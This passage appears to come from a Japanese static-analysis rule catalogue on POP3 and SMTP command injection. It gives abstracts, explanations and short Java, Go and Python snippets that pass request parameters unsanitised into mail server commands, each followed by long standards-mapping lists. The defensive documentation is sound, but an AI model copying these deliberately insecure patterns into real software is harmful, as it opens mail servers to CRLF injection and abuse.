[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002510 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
desc.dataflow.java.mail_command_injection_imap
Abstract
信頼されていないソースの POP3 コマンドを実行すると、POP3 サーバーが攻撃者に利用されて悪意のあるコマンドを実行する場合があります。
Explanation
POP3 コマンド インジェクションの脆弱性は、攻撃者が POP3 メール サーバーに送信されるコマンドに影響を与えることができる場合に発生します。

1. 信頼できないソースからアプリケーションにデータが入り込んだ場合。

2. データが、アプリケーションが実行するコマンドを表す文字列 (またはその一部) として使用された場合。

3. POP3 コマンドを実行することで、攻撃者がサーバーに対してスパムの送信など悪意のあるアクションを実行するように指示できる場合。

例 1: 次のコードは HTTP リクエスト パラメーターを使用して、POP3 サーバーに送信される USER および PASS コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。


...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 88, CWE ID 93, CWE ID 147
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [25] CWE ID 077
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [17] CWE ID 077
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [16] CWE ID 077
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[20] Standards Mapping - OWASP Top 10 2010 A1 Injection
[21] Standards Mapping - OWASP Top 10 2013 A1 Injection
[22] Standards Mapping - OWASP Top 10 2017 A1 Injection
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.3 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.2 Sanitization and Sandboxing Requirements (L1 L2 L3)
[25] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[26] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[27] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002510 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
desc.dataflow.java.mail_command_injection_pop3
Abstract
信頼できないソースから SMTP コマンドを実行すると、SMTP サーバーが攻撃者に代わって悪意のあるコマンドを実行する可能性があります。
Explanation
このようなタイプの脆弱性は、次の場合に発生する可能性があります。SMTP Command Injection の脆弱性は、攻撃者が SMTP メール サーバーに送信されるコマンドに影響を与える可能性がある場合に発生します。
1.信頼できないソースからアプリケーションにデータが入力された場合。

2.アプリケーションによって実行されるコマンドを表す文字列として、またはその一部であるデータが使用された場合。

3.攻撃者は、SMTP コマンドを実行することで、スパムの送信などの悪意のあるアクションを実行するようにサーバーに指示できます。
例 1: 次のコードは、HTTP リクエスト パラメーターを使用して、SMTP サーバーに送信される VRFY コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入する可能性があります。

...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - Common Weakness Enumeration CWE ID 88, CWE ID 93, CWE ID 147
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [25] CWE ID 077
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [17] CWE ID 077
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [16] CWE ID 077
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[23] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.3 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.2 Sanitization and Sandboxing Requirements (L1 L2 L3)
[24] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[25] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[26] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002510 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
desc.dataflow.golang.mail_command_injection_smtp
Abstract
SMTP コマンドを信頼されていないソースから実行すると、SMTP サーバーが攻撃者に利用されて悪意のあるコマンドを実行する場合があります。
Explanation
SMTP コマンド インジェクションの脆弱性は、攻撃者が SMTP メール サーバーに送信されるコマンドに影響を与えることができる場合に発生します。

1. 信頼できないソースからアプリケーションにデータが入り込んだ場合。

2. データが、アプリケーションが実行するコマンドを表す文字列 (またはその一部) として使用された場合。

3. SMTP コマンドを実行することで、攻撃者がサーバーに対してスパムの送信など悪意のあるアクションを実行するように指示できる場合。

例 1: The following code uses an HTTP request parameter to craft a VRFY command that is sent to the SMTP server.攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。


...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 88, CWE ID 93, CWE ID 147
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [25] CWE ID 077
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [17] CWE ID 077
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [16] CWE ID 077
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[20] Standards Mapping - OWASP Top 10 2010 A1 Injection
[21] Standards Mapping - OWASP Top 10 2013 A1 Injection
[22] Standards Mapping - OWASP Top 10 2017 A1 Injection
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[25] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.3 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.2 Sanitization and Sandboxing Requirements (L1 L2 L3)
[26] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[27] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[28] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002510 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
desc.dataflow.java.mail_command_injection_smtp
Abstract
SMTP コマンドを信頼されていないソースから実行すると、SMTP サーバーが攻撃者に利用されて悪意のあるコマンドを実行する場合があります。
Explanation
SMTP コマンド インジェクションの脆弱性は、攻撃者が SMTP メール サーバーに送信されるコマンドに影響を与えることができる場合に発生します。

1. 信頼できないソースからアプリケーションにデータが入り込んだ場合。

2. データが、アプリケーションが実行するコマンドを表す文字列 (またはその一部) として使用された場合。

3. SMTP コマンドを実行することで、攻撃者がサーバーに対してスパムの送信など悪意のあるアクションを実行するように指示できる場合。

例 1: The following code uses an HTTP request parameter to craft a VRFY command that is sent to the SMTP server.攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。


...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 88, CWE ID 93, CWE ID 147
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [25] CWE ID 077
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [17] CWE ID 077
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [16] CWE ID 077
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[20] Standards Mapping - OWASP Top 10 2010 A1 Injection
[21] Standards Mapping - OWASP Top 10 2013 A1 Injection
[22] Standards Mapping - OWASP Top 10 2017 A1 Injection
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[25] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.3 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.2 Sanitization and Sandboxing Requirements (L1 L2 L3)
[26] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[27] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[28] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
